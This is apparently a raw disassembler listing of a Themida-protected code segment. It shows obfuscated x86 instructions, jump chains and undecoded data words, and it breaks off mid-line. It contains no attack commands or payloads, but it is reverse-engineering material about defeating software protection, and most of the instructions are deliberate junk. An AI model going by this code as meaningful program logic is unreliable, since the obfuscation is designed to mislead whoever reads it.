Themida_:005A0FFEj dec edi sub esp, 4 mov [esp], ebp jmp loc_591A7E ; --------------------------------------------------------------------------- loc_58E800: ; CODE XREF: Themida_:0059A692j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_59A9F8 ; --------------------------------------------------------------------------- dw 505Dh dd 4B8h, 58C50100h, 3304C583h, 2C31242Ch, 242C3324h, 8F24248Bh dd 0D9E92404h, 810000E8h, 8F36B7F6h, 8ABF5725h, 31158263h dd 0F2095FFEh, 69E9515Eh db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E84F: ; CODE XREF: Themida_:00592408j add al, bh add al, 27h mov ebx, [esp] add esp, 4 push bx mov bh, 57h jmp loc_5995F7 ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 14640E9h, 4C48300h, 0FA7AE950h, 0BD550000h dd 1, 815DEF01h, 0EB3686EFh, 3BDDE92Ah db 1, 0 ; --------------------------------------------------------------------------- loc_58E88A: ; CODE XREF: Themida_:005A05ADj xor ecx, ebx pop ebx mov edx, ecx pop ecx add edx, 37693D44h add edx, eax jmp loc_599D84 ; --------------------------------------------------------------------------- db 30h, 3Ch, 24h dd 30243C32h, 0A8E9243Ch, 50FFFFFAh, 0C6348BB8h, 414C3548h dd 0C1893E7Ah, 8BC82958h, 0C481240Ch, 4, 0F7016B2Dh, 1DA1051Ah dd 0F801098Bh, 0DD40E9h db 0 ; --------------------------------------------------------------------------- loc_58E8D5: ; CODE XREF: Themida_:00590758j mov dl, 62h add dl, 67h jmp loc_59D8E2 ; --------------------------------------------------------------------------- db 89h dd 0ECBF243Ch, 8133AE4Eh, 233868C7h, 53EFD15Fh, 0A90EE9h dd 0EC815900h, 4, 89243489h, 4C681E6h, 0E9000000h, 9587h dd 2D2CC781h, 0D1E97271h, 80000142h, 6CE938C2h, 4200003Bh dd 0F5C2814Ah, 0E92B4BD6h, 0AFB8h, 0E9242C89h, 411Ah, 68D2F75Dh dd 4940h, 0BD242C89h, 7388034Bh, 8108EDC1h, 0D089A2C5h dd 5DEA290Bh, 111C281h, 0ED81C5B2h, 406F2C5Ah, 0C581D501h dd 406F2C5Ah, 35D9E9h, 2434FF00h, 81243C8Bh, 4C4h, 40956800h dd 3E90000h, 8000010Fh, 0C580C3C5h, 5A8DE9A6h, 0C1810000h dd 451059Dh, 37D0E9h db 0 byte_58E995 db 64h, 66h, 0Fh ; DATA XREF: Themida_:0058E18Co dd 686602B6h, 89663FFBh, 0ACE92404h, 0B9FFFFF9h, 40E56F2Dh dd 7BE9CA29h db 21h, 1, 0 ; --------------------------------------------------------------------------- loc_58E9B3: ; CODE XREF: Themida_:0059AADAj and edx, ebp mov ebp, [esp] add esp, 4 dec edx shr edx, 8 shl edx, 1 jmp loc_596BC8 ; --------------------------------------------------------------------------- loc_58E9C9: ; CODE XREF: Themida_:0058FE40j add esp, 4 jmp loc_58F19F ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 4857h, 4EC81h, 14890000h, 0E9E28924h, 0F6ABh dword_58E9EC dd 9D1C77FFh, 4105866h, 58E99C24h, 83FFFFF9h, 506604C4h ; DATA XREF: Themida_:0058E254o dd 32E0E9h, 34875800h, 24248B24h, 4C481h, 34FF0000h, 68575824h dd 201Ch, 18FFE9h, 48F6600h, 164BE924h, 48B0000h, 7DA46824h dd 0E2E90000h, 5D000124h, 241EBE56h, 0F6814546h, 58306BC8h dd 140BE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EA4A: ; CODE XREF: Themida_:0059730Dj sub ebx, 75346506h jmp loc_5A0E2C ; --------------------------------------------------------------------------- loc_58EA55: ; CODE XREF: Themida_:0059F8E7j push ebp push esp jmp loc_590032 ; --------------------------------------------------------------------------- loc_58EA5C: ; CODE XREF: Themida_:00590584j push ebx jmp loc_5A19FB ; --------------------------------------------------------------------------- dw 0B951h dd 321663ABh, 0D141E9h, 8BD00100h, 0C4832414h, 6EB23504h dd 0EA815956h, 6B616F0h, 4087EA81h, 6FE92414h, 0B80000EEh dd 4, 0E958C601h, 1160h, 81240429h, 732E2404h, 0E9523226h dd 904Bh, 0BEC2815Dh, 0E9FDE846h, 596Bh ; --------------------------------------------------------------------------- loc_58EAB4: ; CODE XREF: Themida_:0059B8E7j xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx push eax mov eax, 61541C08h add [esp+4], eax jmp loc_59356A ; --------------------------------------------------------------------------- loc_58EACD: ; CODE XREF: Themida_:005A06A9j push ebp jmp loc_592D0E ; --------------------------------------------------------------------------- db 81h dd 0F72C7AC7h, 0FD98E91Eh, 295BFFFFh, 0E9CF87F9h, 3664h ; --------------------------------------------------------------------------- loc_58EAE8: ; CODE XREF: Themida_:0059A3E4j mov [esp], edi pop edx jmp loc_590A5C ; --------------------------------------------------------------------------- loc_58EAF1: ; CODE XREF: Themida_:0059905Dj push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5A022D ; --------------------------------------------------------------------------- loc_58EB02: ; CODE XREF: Themida_:00591C64j add ebp, edi jmp loc_59B21D ; --------------------------------------------------------------------------- db 1, 0CAh, 68h dd 252Ah, 0BD242C89h, 3BA64284h, 8106EDC1h, 9DA039F5h dd 8BEA0118h, 0C481242Ch, 4, 4BF5759h, 1000000h, 0FF525FFAh dd 5A042474h, 5C24048Fh, 39416855h, 24890000h, 4BB5324h dd 1000000h, 5B04245Ch, 4B9515Dh, 1000000h, 0C58159CDh dd 4, 31242C33h, 2C33242Ch, 24248B24h, 0E99CC83Bh, 0FFFFF7DBh ; --------------------------------------------------------------------------- loc_58EB78: ; CODE XREF: Themida_:0059CA03j push ebx jmp loc_5A0CBF ; --------------------------------------------------------------------------- aIIxvsfa db '‰,$‰åVéäa',0 dd 0D685700h, 5F52CF56h, 0C106EFC1h, 0EF8104EFh, 0EAB0AB79h dd 41EEE9h, 0EC835500h, 24348904h, 1B8EE9h, 66C23000h dd 6E21E958h, 44BF0000h, 29A6708Ch, 0CA295FF9h, 0F78DE959h dd 0C681FFFFh, 4, 4EE81h, 34870000h, 3C895C24h, 4BF24h dd 0FA010000h, 75E9535Fh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58EBE7: ; CODE XREF: Themida_:00596E32j pop esi sub esi, ebp pop ebp push ebp mov ebp, 7BD67CE8h shl ebp, 4 shr ebp, 8 neg ebp not ebp add ebp, 706606BEh add ebp, 966ECF97h jmp loc_5A08EF ; --------------------------------------------------------------------------- dd 706A1968h, 0EBC2E926h, 0E94F0000h, 48C5h, 4EC8151h dd 89000000h, 4832424h, 81590424h, 4C1h, 4BF5700h, 81000000h dd 0C93024C1h, 81F90130h, 0C93024E9h, 0C335F30h, 240C3124h dd 854DE9h, 918B800h, 0D4006ABh, 72D7076Fh, 9601C083h dd 0BDE9D6F7h, 53000034h, 3A11FEBBh, 0F7E3D173h, 0FFEB81D3h dd 1198BDBh, 241C8BD8h, 5004C483h, 405E089h, 2D000000h dd 4, 5C240487h, 0E9243C89h, 69Ah, 0BD55585Dh, 4, 2C8BEA01h dd 0E2895224h, 0A263E9h, 9FEF8100h, 8171C447h, 840BCCC7h dd 81DF0151h, 840BCCEFh, 24ECE951h, 8FBA0000h, 31205A68h dd 0CAE95AD5h, 81000100h, 2D1FBDCEh, 92C6811Eh, 0F7575225h dd 3FEE81D6h, 154652Dh, 0C3295EF3h, 5C3EB850h, 0E94859BAh dd 0E4B1h ; --------------------------------------------------------------------------- loc_58ECF8: ; CODE XREF: Themida_:005A2264j sub dword ptr [esp+8], 1FE86CE9h push dword ptr [esp] mov ecx, [esp] add esp, 4 push 56BDh mov [esp], ebx jmp loc_59470F ; --------------------------------------------------------------------------- loc_58ED19: ; CODE XREF: Themida_:00598F8Cj push eax mov ah, 17h jmp loc_59BB37 ; --------------------------------------------------------------------------- db 80h, 0F1h, 27h dd 0F180D1F6h, 0AD04CBh, 0FFAD2CC8h, 0C8B2434h, 4C48124h dd 0E9000000h, 0FFFFFB2Dh, 0D7F8BE56h, 0F289EAE4h, 5AD7895Eh dd 34FFFB01h, 0C4815F24h, 4, 685BD831h, 565Dh, 52243489h dd 35E8BB53h, 34E9569Dh db 0Dh, 1, 0 ; --------------------------------------------------------------------------- loc_58ED6F: ; CODE XREF: Themida_:0059E582j push 5DC7h jmp loc_598655 ; --------------------------------------------------------------------------- db 1, 0D3h, 0E9h dd 8D0Ah, 3286E99Dh, 0C6810000h, 4, 8704C683h, 0E95C2434h dd 2ED1h ; --------------------------------------------------------------------------- loc_58ED98: ; CODE XREF: Themida_:005996C1j push dword ptr [esp] pop edx push 54B0h mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebp jmp loc_595BD6 ; --------------------------------------------------------------------------- db 0BBh dd 0 dd 1086AE9h, 24048F00h, 2404895Ch, 0AC0DE9h, 4C38100h dd 83000000h, 0FF5304EBh, 5B042474h, 0E924048Fh, 0BB2Dh dd 265EE958h, 0FF530001h, 0E9042474h, 0B8FCh ; --------------------------------------------------------------------------- loc_58EDF4: ; CODE XREF: Themida_:005A2F87j mov ebx, [esp] add esp, 4 push esi mov esi, 7E2B3044h push eax push 20C7752Fh pop eax not eax neg eax shl eax, 4 xor eax, 8D1CDF80h mov ebx, eax pop eax sub ebx, esi jmp loc_591A4A ; --------------------------------------------------------------------------- loc_58EE1D: ; CODE XREF: Themida_:005A2500j jmp loc_58E353 ; --------------------------------------------------------------------------- aTs_ db 'TéÆ_',0 align 4 dd 1DB268h, 24148900h, 4613E9h, 600FBF00h, 55680A75h, 89000004h dd 0BD242Ch, 81000000h, 4F4EFFC5h, 0D05E955h db 1, 0 ; --------------------------------------------------------------------------- loc_58EE52: ; CODE XREF: Themida_:00599052j mov eax, 67186B57h push edx mov edx, 63BB6011h sub eax, edx pop edx xchg eax, esi neg esi xchg eax, esi xor eax, 55006942h shl eax, 8 jmp loc_59A296 ; --------------------------------------------------------------------------- db 4Ah, 81h, 0F2h dd 5AC7120Fh, 173AC281h, 0EAC14AAEh, 8E2C105h, 70A0E9h dd 85C68100h, 0E93A4E14h, 40Ah, 2B6268h, 24348900h, 0B160E9h dd 1C76800h, 4890000h, 0B824h, 0D0010000h, 8B581831h, 0C4832414h dd 245F3304h, 77C0E9h, 0EC815800h, 4, 54243C89h, 4C7815Fh dd 68000000h, 7DF2h, 56240C89h, 7863E9h, 4A30F00h, 68E99C24h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EEEB: ; CODE XREF: Themida_:00592105j and ecx, 43697B25h sub ecx, 0E96C1910h mov eax, ecx jmp loc_59FCE2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8104E2C1h, 8666B1C2h, 65E94274h, 290000C7h, 276DE9C8h dd 43680000h, 89000041h, 0E389241Ch, 4C381h, 0C3830000h dd 241C8704h, 8906E9h db 0 ; --------------------------------------------------------------------------- loc_58EF35: ; CODE XREF: Themida_:005A1CE6j push edi jmp loc_599E32 ; --------------------------------------------------------------------------- db 8Fh dd 0C15C2404h, 71E90CE8h, 0F7FFFFF6h, 55D7F7D7h, 0C2276BBDh dd 0FCD815Fh, 4D33625Ch, 0C6C58145h, 814F2716h, 0A36F3EDh dd 5DEF017Ah, 1428BE9h, 62326800h, 815B7410h, 27580DCBh dd 3BF38157h, 8977377Ah, 0F4C5E9DDh, 0E9550000h, 0BC5h dd 0DA88E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58EF92: ; CODE XREF: Themida_:0059CA15j push ebp jmp loc_59E66F ; --------------------------------------------------------------------------- dd 50241489h, 0BEACE9h, 0F4B95100h, 8708AE03h, 87D6F7F1h dd 81D9F7F1h, 690604E9h, 0C0E9816Ch, 50809AE7h, 0B06318B8h dd 33F6253Ah, 6F051EB3h, 2528EA2Ah, 5C392F7Ch, 0ADF8E9h dd 5EBC100h, 0F251E9h, 5BD90900h, 0D941E957h db 2 dup(0) word_58EFE6 dw 6866h ; DATA XREF: Themida_:0058E13Co dd 89665AD1h, 80E9241Ch, 680000C3h, 3BE93C91h, 95F5815Dh dd 553BE93Ch, 0F5015D5Eh, 1851E95Eh, 0C7810000h, 4, 0C626E9h dd 24248B00h, 21BBE9h, 2DD0F700h, 0D4EC1D03h, 158C189h dd 0EF8359CFh, 243C8704h, 0E515E95Ch, 0C890000h, 4B924h dd 0CF010000h, 0BB535559h, 4, 6CAE9h, 74FF5300h, 0E95B0424h dd 95EEh ; --------------------------------------------------------------------------- loc_58F058: ; CODE XREF: Themida_:0059F2EEj pop eax push edx mov edx, 4 add eax, edx jmp loc_5926E4 ; --------------------------------------------------------------------------- dw 0EAC1h dd 81D2F704h, 0BF0B9DEAh, 5B56E934h, 0E9590000h, 0D882h dd 4246C81h, 5DB23B3Fh, 13993E9h, 0E9525600h, 0D333h, 387895B8h dd 31CE97Bh, 0BF570000h, 18F47942h, 5A5FFB31h, 53BDE9h dd 243C8B00h, 4C481h, 0EC830000h, 24048904h, 936394B8h dd 58C1013Bh, 0E981F129h, 3B936394h, 33D2C181h, 348B1564h dd 4C48124h, 81000000h, 4ECh, 240C8900h, 42474FFh, 0E9240C8Bh dd 8A62h, 51240489h, 11434E9h, 2434FF00h, 0E1895158h, 6852BB53h dd 0D3F7557Dh, 97A9EB81h, 0FAE9AA82h, 66000118h, 0DAF7665Ah dd 66DAF766h, 7293C281h, 8BD30166h, 0C4832414h, 0E0A9E904h dd 0D3890000h, 0F70E9h, 2BEAB800h, 360D5851h, 0E914B32Ch dd 7E7h ; --------------------------------------------------------------------------- loc_58F140: ; CODE XREF: Themida_:005A05A2j mov ebx, ecx jmp loc_59F300 ; --------------------------------------------------------------------------- db 68h dd 7009h, 51241C89h, 0D380E9h, 4B900h, 942D0000h, 5113474Eh dd 442AEAB9h, 9615E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F16A: ; CODE XREF: Themida_:005A0D4Aj add esi, 0B3DCC4BEh jmp loc_59B8CA ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0DE680000h, 89000032h, 5568242Ch, 0E900000Bh, 0F84h ; --------------------------------------------------------------------------- loc_58F18C: ; CODE XREF: Themida_:005A20ABj add ebp, edx pop edx push edx jmp loc_5981C7 ; --------------------------------------------------------------------------- db 68h, 2Eh, 18h dd 96E90000h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F19F: ; CODE XREF: Themida_:0058E9CCj or edx, eax shl edx, 1 push dword ptr [edi+24h] push esi push 5F57h mov [esp], esp add dword ptr [esp], 4 pop esi push eax jmp loc_5940A4 ; --------------------------------------------------------------------------- db 68h, 0B2h, 12h dd 1C890000h, 88F38824h, 3DE95BDDh, 89000104h, 150468E6h dd 0FDE90000h, 5400010Dh, 5D2434FFh, 8104C483h, 4C5h, 4C58300h dd 8904EC83h, 0BDE9242Ch, 0BA000101h, 35D210F3h, 6289F281h dd 3E2D2193h, 168C90Dh, 0D3E05D0h, 148B68C9h, 6FABE924h dd 595E0000h, 3D3F68h, 0EC0DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F222: ; CODE XREF: Themida_:00598FD7j mov dh, 0B8h not dh inc dh not dh add dh, 0FAh jmp loc_593355 ; --------------------------------------------------------------------------- loc_58F232: ; CODE XREF: Themida_:0059BEE2j sub eax, 5110560Dh add eax, edi push ebx mov ebx, 68D477D3h sub ebx, 6AF46379h add ebx, 4B76013Bh inc ebx jmp loc_59EED5 ; --------------------------------------------------------------------------- loc_58F251: ; CODE XREF: Themida_:0059F1E0j push 3DFB6DC2h pop esi and esi, 76147260h shr esi, 7 add esi, 5A880D77h push esi pop eax pop esi mov ebp, 0D2EC2337h jmp loc_59B37D ; --------------------------------------------------------------------------- db 0B6h dd 8AEE80ADh, 0D6F6CEFEh, 6BE5E9h, 24148900h, 0D389CA89h dd 2434FF5Ah, 4C48359h, 565BDE01h, 42474FFh, 35B9E95Eh dd 0F0010000h, 10300E9h, 4EC8100h, 0E9000000h, 12B9Bh dd 0F181D9F7h, 94D8D431h, 0A79E9h, 66C58100h, 178E305h dd 66ED81C5h, 0FF78E305h db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_597A29 ; --------------------------------------------------------------------------- loc_58F2D8: ; CODE XREF: Themida_:00598CBAj xor [esp], edi xor edi, [esp] mov esp, [esp] push 5874h mov [esp], ebp mov ebp, 5DD93EE6h push eax push edx mov edx, 0B6706D7h mov eax, edx pop edx shl eax, 6 add eax, 0FFFFFFFFh xor eax, 64F2C03h shl eax, 4 push 0 sub [esp], eax jmp loc_595ABC ; --------------------------------------------------------------------------- db 58h, 56h, 0BEh dd 415250ACh, 8107EEC1h, 9F1385CEh, 0D7C68115h, 29577B6Ah dd 0F42BE9F0h, 2BFFFFFh, 2D000000h, 20840F02h, 0A668F801h dd 0E9000011h, 54EDh, 4C481h, 0B60F0000h, 8734FFC0h, 0E3240481h dd 0FF4C3F34h, 1AE92434h, 58000025h, 6C591D0Dh, 47F00565h dd 0B9516D19h, 6CA144EBh, 8959C829h, 0E83158C5h, 81242C8Bh dd 4C4h, 57166800h, 34890000h, 2938E924h, 5C680001h, 89000020h dd 5954240Ch, 4C181h, 54680000h, 8900007Dh, 0BA52242Ch dd 77265CC5h, 7E76E952h, 0D8F70000h, 0B93D3F05h, 1711E938h dd 0B8500001h, 14084A55h, 5958C201h, 0C0D4E9h, 406800h dd 79E90000h, 5E0000D7h, 8904EC83h, 0CEBF243Ch, 101A41Ah dd 0E9555FFAh, 0E7E8h dword_58F3F0 dd 582434FFh, 34FF5455h, 0C4815D24h, 4, 8904EC83h, 19E92434h ; DATA XREF: Themida_:0058E148o dd 81000079h, 0B7552C1h, 0E2C781ACh, 0E9132002h, 0B4B5h dd 5FFB895Dh, 4AF6E957h, 52590000h, 55243481h, 0E9669B0Ah dd 2045h, 0C181E189h, 4, 5504C183h, 0C5815D54h, 4, 5FEDE9h db 0 ; --------------------------------------------------------------------------- loc_58F44D: ; CODE XREF: Themida_:005A15AEj mov [esp], esi push esp pop esi jmp loc_59D2B3 ; --------------------------------------------------------------------------- db 0F7h aScq db 'ÛéæŸ',0 align 2 loc_58F45E: ; CODE XREF: Themida_:0059C0B3j sub [edi+24h], esi push dword ptr [esp] pop esi push ecx jmp loc_58FE85 ; --------------------------------------------------------------------------- db 0BEh dd 70742FBBh, 1C57F681h, 535214DEh, 0EA2EA9BBh, 6EBC12Ch dd 648AE381h, 0EB810187h, 0F0BEB96Fh, 0C15BDA89h, 0F28108E2h dd 0D02B151Ah, 49E9D629h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F49F: ; CODE XREF: Themida_:0058F5E0j mov [esp], edi sub esp, 4 mov [esp], ebp push 3DF93051h pop ebp dec ebp jmp loc_5A0028 ; --------------------------------------------------------------------------- db 80h dd 0F48038ECh, 0E9E6000Eh, 0E934h ; --------------------------------------------------------------------------- loc_58F4C4: ; CODE XREF: Themida_:0059D157j mov edx, 971449Ah push ebp mov ebp, 2BD73758h or ebp, 2F476364h add ebp, 4AF440Fh jmp loc_595092 ; --------------------------------------------------------------------------- dd 331F68h, 241C8900h, 6B7727BBh, 551C6806h, 3C890000h dd 51E78924h, 1336A8B9h, 0A4E98133h, 0E9331336h, 4607h dd 5713C681h, 0E95B1E58h, 1216Dh, 5304C483h, 15BCE9h db 0 ; --------------------------------------------------------------------------- loc_58F51D: ; CODE XREF: Themida_:0059E10Bj mov [esp], ecx mov cl, 99h mov dh, cl pop ecx push 63A9h mov [esp], eax jmp loc_5A0823 ; --------------------------------------------------------------------------- loc_58F532: ; CODE XREF: Themida_:0059B9E4j add ebp, ecx pop ecx jmp loc_5916D1 ; --------------------------------------------------------------------------- dw 0EB81h dd 53F569FAh, 2FF8CB81h, 0C3811D1Ah, 0C0841006h, 5D25E9h db 0 ; --------------------------------------------------------------------------- loc_58F551: ; CODE XREF: Themida_:005A1AE7j push edx push edi jmp loc_596520 ; --------------------------------------------------------------------------- loc_58F558: ; CODE XREF: Themida_:0059E3EDj mov [esp], edx jmp loc_5A1082 ; --------------------------------------------------------------------------- dd 42474FFh, 592434FFh, 0FFF0EFE9h, 81525CFFh, 4ECh, 243C8900h dd 0B951E789h, 7ACD3723h, 10AFE181h, 0E9817A7Ah, 553C397Dh dd 0D6A2E981h, 26E9250Bh, 89000029h, 0B8505BD8h, 101932BEh dd 2958C701h, 499368C7h, 34890000h, 4EBE24h, 0EE817226h dd 4A66637Ch, 7F0EEE81h, 0E94E5479h, 1B3Bh, 8B2434FFh dd 0C4812404h, 4, 8C8BE9h db 0 ; --------------------------------------------------------------------------- loc_58F5D5: ; CODE XREF: Themida_:00597A6Dj add esp, 4 push 17EFh jmp loc_58F49F ; --------------------------------------------------------------------------- db 1, 0C7h, 58h dd 4505BD55h, 0F581005Fh, 2BF81894h, 5035F581h, 0EF0108DCh dd 83242C8Bh, 77E904C4h, 4D000063h, 8904EC83h, 0CCB9240Ch dd 3104053Bh, 96CAE9CDh, 75BE0000h, 81382E2Fh, 7A69C8F6h dd 5E6C138h, 81D6F74Eh, 80D233EEh, 8BF10180h, 89572434h dd 4C781E7h, 83000000h, 3C8704C7h, 575B5C24h, 5AE46851h dd 0C8B1DCBh, 4C48324h, 0CE5E981h, 0E9D16AA8h, 0A6FBF181h dd 8CE95991h, 89000027h, 74BA2414h, 812BDD68h, 49354DC2h dd 50136871h, 34890000h, 6158BE24h, 0D6E95C17h, 68000030h dd 6AFEh, 0FF240C89h, 8B042474h, 68E9240Ch, 49000119h dd 1A00F181h, 0E98179BAh, 798A1A81h, 16BE9h, 74EB8000h dd 0C022EB80h, 0C38006E3h, 0B551668Fh, 66E800F2h, 4DBAE959h dd 0C6810000h, 0CA85908Ah, 505EF089h, 950EE9h, 0FFD82100h dd 1C8B2434h, 4C48324h, 5E08950h, 4, 8704C083h, 95C2404h dd 0C9C2E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F6F6: ; CODE XREF: Themida_:005927E9j push dword ptr [esp] jmp loc_59E3C4 ; --------------------------------------------------------------------------- aXNs_i db '¾½',1Bh,'X&Né.›',0 dd 1C8B6600h, 33546824h, 0D7E90000h, 89000049h, 0EF815BDDh dd 3AAD761Fh, 0C781EF01h, 3AAD761Fh, 125BEE9h, 55595400h dd 4BDh, 5DE90100h, 4C181h, 0C870000h, 8C685C24h, 89000018h dd 8568243Ch, 54000018h, 0A181E9h, 2EC8100h, 66000000h dd 68240C89h, 155Fh, 0B2241489h, 116DE989h, 0DA0D0001h dd 2D505623h, 2A8B03DDh, 3EE9C231h, 870000B3h, 805C2414h dd 0EFD001C7h, 1F36866h, 24148966h, 1207EE9h, 55685900h dd 89000021h, 0EC83242Ch, 243C8904h, 4518E9h, 24143300h dd 33241431h, 61E92414h, 530000D1h, 5A19A1BBh, 8BDD895Dh dd 0C481241Ch, 4, 46EC581h, 0E889CF99h, 0BB53485Dh, 319D4BD3h dd 0D7EBC381h, 0D801F430h, 77A8055Bh, 0A70D54B1h, 536A827Dh dd 9204E9h, 4EBD5500h, 0F707513Bh, 2EDC1DDh, 29E9E9h, 5EF72900h dd 243C8758h, 6624248Bh, 66240C89h, 0E9C8B60Fh, 2040h dd 0BF57C101h, 26E277F2h, 79EDE9h, 81E28900h, 4C2h, 4C28100h dd 0E9000000h, 12F8Ah ; --------------------------------------------------------------------------- loc_58F838: ; CODE XREF: Themida_:0059704Dj add ebp, 4CB9701Dh pop edx and eax, ebp jmp loc_58FE3D ; --------------------------------------------------------------------------- loc_58F846: ; CODE XREF: Themida_:005A1C43j mov ebx, 4 add edi, 6A2F62E5h sub edi, ebx sub edi, 6A2F62E5h push dword ptr [esp] jmp loc_59F2D0 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 0E9000000h, 0BEA4h, 240C8B5Bh, 504C483h, 2, 31240433h dd 4332404h, 24248B24h, 24048B66h, 4EC8357h, 83242489h dd 8B042404h, 0C483243Ch, 0E0895004h, 405h, 7D61E900h dd 0C7890000h, 585FF989h, 244F295Fh, 0E9D23159h, 86F7h dd 241C8B59h, 685D5455h, 5F26h, 68241489h, 4, 0E9D5015Ah dd 8E1Eh ; --------------------------------------------------------------------------- loc_58F8D4: ; CODE XREF: Themida_:0059077Fj inc ebp jmp loc_597749 ; --------------------------------------------------------------------------- dw 0C483h dd 0FB57E904h, 4BF0000h, 1000000h, 0BB535FFDh, 48F43730h dd 4312BF57h, 0D7F7280Ah, 0EBB5E9h, 24248B00h, 0E9242C89h dd 2A72h ; --------------------------------------------------------------------------- loc_58F908: ; CODE XREF: Themida_:0059B473j pop esp sub esp, 4 mov [esp], ebx push esi jmp loc_5A03E3 ; --------------------------------------------------------------------------- db 29h, 0CFh, 8Bh dd 0C481240Ch, 4, 37E9FA01h, 0F7000096h, 0D8F748D0h, 0D9052E35h dd 0E9C7293Eh, 0B76Ah, 0C781E789h, 4, 4C781h, 3C870000h dd 68E95C24h db 2 dup(1), 0 ; --------------------------------------------------------------------------- loc_58F94F: ; CODE XREF: Themida_:005926C9j pop edx push edi jmp loc_5A1785 ; --------------------------------------------------------------------------- dw 0C281h dd 51D7E27Dh, 148BD629h, 5F545724h, 4C781h, 0C7830000h dd 243C8704h, 5FC8E9h db 0 ; --------------------------------------------------------------------------- loc_58F975: ; CODE XREF: Themida_:005957A7j xchg esi, [esp] pop esp mov [esp], esi mov esi, esp push edx mov edx, esp jmp loc_5999E4 ; --------------------------------------------------------------------------- dw 34FFh aSpn db '$épn',0 align 2 dw 93BBh dd 2912783Eh, 0D6F75BDEh, 0C106E6C1h, 0F68104E6h, 40AF5404h dd 0DEB95153h, 0BB5CA539h, 7EC05108h, 0E959CB29h, 0B53Fh dd 0A3180CB9h, 3AE18163h, 81515A24h, 214462E1h, 0F8EE958h dd 148B0000h, 0ABB4E924h, 0D8010000h, 62A6E9h, 0C2815900h dd 37952DD3h, 3768E9h, 0C3815D00h, 2, 74ACE9h, 9EE95A00h dd 810000D8h, 115F75F1h, 680FE92Ch db 2 dup(0) word_58FA06 dw 77FFh ; DATA XREF: Themida_:0058E2D4o dd 19589D1Ch, 0E99C2404h, 0FFFFE93Fh ; --------------------------------------------------------------------------- loc_58FA14: ; CODE XREF: Themida_:00596575j mov al, 89h and al, 0F6h jmp loc_59B615 ; --------------------------------------------------------------------------- loc_58FA1D: ; CODE XREF: Themida_:005927D7j mov edi, 5993E1Dh mov ebx, 4C2F191Dh shl ebx, 1 jmp loc_597439 ; --------------------------------------------------------------------------- dw 0BE56h dd 5E71231Fh, 5503EEC1h, 992821BDh, 5DEE3114h, 0F0E9E6D1h dd 51FFFFEDh, 0AA63E9h, 241C8900h, 1E226857h, 3C8B6E16h dd 4C48124h, 81000000h, 812A92F7h, 7001E929h, 56500000h dd 5C11BABEh, 1615E914h, 24890000h, 4B85024h, 0E9000000h dd 0FFFFEB69h, 4C6815Eh, 52000000h, 0FFF4F5E9h, 4ED83FFh dd 4EC81h, 92E90000h, 81000118h, 0B06FE9C3h, 24348B56h dd 148B5452h, 4C48324h, 3FF9B850h, 0C8E94DD8h, 800000B1h dd 48BDFEEh, 4C48324h, 91F680h, 24148BF4h, 8004C483h, 50E990F4h dd 0C00000F5h, 0A92C03E0h, 0C7002134h, 0E5C78058h, 30E7C780h dd 0EF2C5BFEh, 0F000CD2Ch, 0EF04CD04h, 48DCE9h, 24148900h dd 6853E289h, 0F1Eh, 110A6E9h, 8BEE0100h, 0C483242Ch, 24343304h dd 33243431h, 248B2434h, 0E831E924h, 0C131FFFFh, 0A9E9C831h dd 5E000095h, 6597B951h, 0D1F71C55h, 0F08E981h, 81495FD7h dd 68C94CF1h, 16D7E9D4h, 0F2800000h, 5AD30056h, 7B3CE9h dd 4BD00h, 0EA890000h, 8BD6015Dh, 0C4812414h, 4, 10B5DE9h dd 4EC8100h, 89000000h, 0E2892414h, 4EC81h, 8DE90000h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58FB7F: ; CODE XREF: Themida_:00592852j pop ecx pop esi mov eax, [esp] push ebp push esp jmp loc_590882 ; --------------------------------------------------------------------------- aUs_0 db 'UéÖÜ',0 dd 28E95500h db 34h, 2 dup(0) byte_58FB97 db 66h ; DATA XREF: Themida_:0058E304o dd 50240C8Bh, 52E95854h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58FBA3: ; CODE XREF: Themida_:0059957Ej push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 0A6Fh mov [esp], ecx push edx mov edx, 6B6A00CFh mov ecx, edx jmp loc_594B19 ; --------------------------------------------------------------------------- db 80h dd 0C480BDE4h, 58E53004h, 88EC8850h, 5958E2h, 0F5A66D3h dd 34FFC0B6h, 0E765E987h, 7068FFFFh, 0E9000042h, 5D71h dd 2474FF56h, 48F5E04h, 0E94FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FC06: ; CODE XREF: Themida_:0059A3B5j mov esi, 1 push esi add dword ptr [esp], 7756554Fh mov edx, [esp] add esp, 4 jmp loc_5A14BF ; --------------------------------------------------------------------------- db 53h, 0B7h, 35h dd 4247C00h, 106A1E9h, 42E95E00h, 51000126h, 3C5321B9h dd 13EDE91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FC3E: ; CODE XREF: Themida_:005A12ADj sub ebx, 0C522D1FDh mov ebp, ebx push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5A0AC0 ; --------------------------------------------------------------------------- dd 4245401h, 8324148Bh, 1C8B04C4h, 4C48124h, 81000000h dd 802C5AEBh, 243C8B06h, 